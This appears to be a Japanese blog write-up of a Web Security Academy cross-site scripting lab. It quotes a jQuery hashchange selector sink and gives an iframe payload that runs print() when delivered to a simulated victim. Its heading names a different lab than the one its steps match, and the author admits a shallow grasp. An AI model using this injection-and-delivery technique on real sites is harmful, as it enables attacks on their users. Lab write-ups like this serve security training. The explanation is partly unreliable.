academy xss 7問目 HTMLエンコードされた山括弧を使用してXSSを属性に反映

XSS

Reflected XSS into attribute with angle brackets HTML-encoded

開発者ツールで、ソース確認

検索で、[ script ]で検索すると、以下のJSを発見

$(window).on('hashchange', function(){
	var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
	if (post) post.get(0).scrollIntoView();
});

内臓ブラウザのURL以下に、ペイロードを入れてエンター

#" onload="this.src+='<img src=x onerror=print()>'

print()関数(印刷ダイアログ開く)が実行されました。

ペイロードを追ってみる
window.location.hash.slice(1) に、URLの#(ハッシュ)以下が入る

var post = $('section.blog-list h2:contains(' + decodeURIComponent(" onload="this.src+='<img src=x onerror=print()>') + ')');

*decodeURIComponentは、urlデコード
*わかりづらいので、そのまま展開されたとして

var post = $('section.blog-list h2:contains('" onload="this.src+='<img src=x onerror=print()>')');

jqueryオブジェクト、$()の中

section.blog-list h2:contains('" onload="this.src+='<img src=x onerror=print()>')

h2:contains()の中

" onload="this.src+='<img src=x onerror=print()>

これが、section.blog-list h2タグ内に入って、構文がつぶされるのかな
*すみません。理解が浅いです。正確に分かれば、追記させて頂きます。

ペイロードの動作検証がとれたので、
被害者に届ける作業をします。

エクスプロイトサーバーのbodyに
上のペイロードを、iframeに入れたものを入力します

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

store
view exploit
でテスト

印刷ダイアログがたくさん開き、print()関数が実行されました。

Deliver exploit to victimをクリック
被害者に送信されて、クリア!

コメント

タイトルとURLをコピーしました